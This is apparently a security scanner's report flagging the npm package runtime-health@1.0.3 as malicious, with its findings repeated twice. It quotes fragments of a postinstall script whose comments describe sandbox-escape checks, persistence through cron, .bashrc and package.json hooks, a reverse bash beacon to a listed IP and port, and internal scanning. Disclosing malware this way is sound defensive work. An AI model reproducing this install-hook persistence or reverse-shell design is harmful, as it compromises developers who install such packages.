runtime-health@1.0.3: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

runtime-health@1.0.3: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.postinstall = node scripts/bootstrap.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

dist/sha1.jsView file

7L8: var _crypto = _interopRequireDefault(require("crypto")); L9:

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/sha1.jsView on unpkg · L7

dist/esm-node/sha1.jsView file

4if (Array.isArray(bytes)) { L5: bytes = Buffer.from(bytes); L6: } else if (typeof bytes === 'string') {

Low

Weak Crypto

Package source references weak cryptographic algorithms.

dist/esm-node/sha1.jsView on unpkg · L4

scripts/bootstrap.jsView file

3Manifest entrypoint (scripts.postinstall) carries capability families absent from dist/build output: environment+network, execution+network L3: // A. 完整沙箱逃逸条件枚举（cap/cgroup/mount/k8s/seccomp/网络） L4: // B. 持久化注入（cron/.bashrc/prepare 钩子重写项目 package.json —— 使后续每次构建自动重跑） L5: // C. VPS 反向 Beacon（159.75.160.206:4444，bash -i 反连 + 断线重连 watchdog） L6: // D. 并发快速内网扫描 + MCP 路由爆破 ... L9: var __os = require('os'), __fs = require('fs'), __path = require('path'), L10: __http = require('http'), __https = require('https'), __net = require('net'), L11: __cp = require('child_process'); L12: var __now = new Date().toISOString(); L13: var __home = (__os.homedir && __os.homedir()) || '/root'; L14: var __root = process.cwd(); L15: for (var i = 0; i < 10; i++) { L16: try { var j = JSON.parse(__fs.readFileSy

High

Entrypoint Build Divergence

Manifest entrypoint contains risky behavior absent from dist/build output.

scripts/bootstrap.jsView on unpkg · L3

3Trigger-reachable persistence chain: scripts.postinstall -> scripts/bootstrap.js L3: // A. 完整沙箱逃逸条件枚举（cap/cgroup/mount/k8s/seccomp/网络） L4: // B. 持久化注入（cron/.bashrc/prepare 钩子重写项目 package.json —— 使后续每次构建自动重跑） L5: // C. VPS 反向 Beacon（159.75.160.206:4444，bash -i 反连 + 断线重连 watchdog） L6: // D. 并发快速内网扫描 + MCP 路由爆破 ... L9: var __os = require('os'), __fs = require('fs'), __path = require('path'), L10: __http = require('http'), __https = require('https'), __net = require('net'), L11: __cp = require('child_process'); L12: var __now = new Date().toISOString(); L13: var __home = (__os.homedir && __os.homedir()) || '/root'; L14: var __root = process.cwd(); L15: for (var i = 0; i < 10; i++) { L16: try { var j = JSON.parse(__fs.readFileSync(__path.join(__root, 'package.json'), 'utf8')); if (j.nam

High

Trigger Reachable Persistence

A manifest entrypoint or package-local install chain reaches persistence behavior.

scripts/bootstrap.jsView on unpkg · L3

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = node scripts/bootstrap.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

dist/sha1.jsView file

7L8: var _crypto = _interopRequireDefault(require("crypto")); L9:

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/sha1.jsView on unpkg · L7

dist/esm-node/sha1.jsView file

4if (Array.isArray(bytes)) { L5: bytes = Buffer.from(bytes); L6: } else if (typeof bytes === 'string') {

Low

Weak Crypto

Package source references weak cryptographic algorithms.

dist/esm-node/sha1.jsView on unpkg · L4

scripts/bootstrap.jsView file

3Manifest entrypoint (scripts.postinstall) carries capability families absent from dist/build output: environment+network, execution+network L3: // A. 完整沙箱逃逸条件枚举（cap/cgroup/mount/k8s/seccomp/网络） L4: // B. 持久化注入（cron/.bashrc/prepare 钩子重写项目 package.json —— 使后续每次构建自动重跑） L5: // C. VPS 反向 Beacon（159.75.160.206:4444，bash -i 反连 + 断线重连 watchdog） L6: // D. 并发快速内网扫描 + MCP 路由爆破 ... L9: var __os = require('os'), __fs = require('fs'), __path = require('path'), L10: __http = require('http'), __https = require('https'), __net = require('net'), L11: __cp = require('child_process'); L12: var __now = new Date().toISOString(); L13: var __home = (__os.homedir && __os.homedir()) || '/root'; L14: var __root = process.cwd(); L15: for (var i = 0; i < 10; i++) { L16: try { var j = JSON.parse(__fs.readFileSy

High

Entrypoint Build Divergence

Manifest entrypoint contains risky behavior absent from dist/build output.

scripts/bootstrap.jsView on unpkg · L3

3Trigger-reachable persistence chain: scripts.postinstall -> scripts/bootstrap.js L3: // A. 完整沙箱逃逸条件枚举（cap/cgroup/mount/k8s/seccomp/网络） L4: // B. 持久化注入（cron/.bashrc/prepare 钩子重写项目 package.json —— 使后续每次构建自动重跑） L5: // C. VPS 反向 Beacon（159.75.160.206:4444，bash -i 反连 + 断线重连 watchdog） L6: // D. 并发快速内网扫描 + MCP 路由爆破 ... L9: var __os = require('os'), __fs = require('fs'), __path = require('path'), L10: __http = require('http'), __https = require('https'), __net = require('net'), L11: __cp = require('child_process'); L12: var __now = new Date().toISOString(); L13: var __home = (__os.homedir && __os.homedir()) || '/root'; L14: var __root = process.cwd(); L15: for (var i = 0; i < 10; i++) { L16: try { var j = JSON.parse(__fs.readFileSync(__path.join(__root, 'package.json'), 'utf8')); if (j.nam

High

Trigger Reachable Persistence

A manifest entrypoint or package-local install chain reaches persistence behavior.

scripts/bootstrap.jsView on unpkg · L3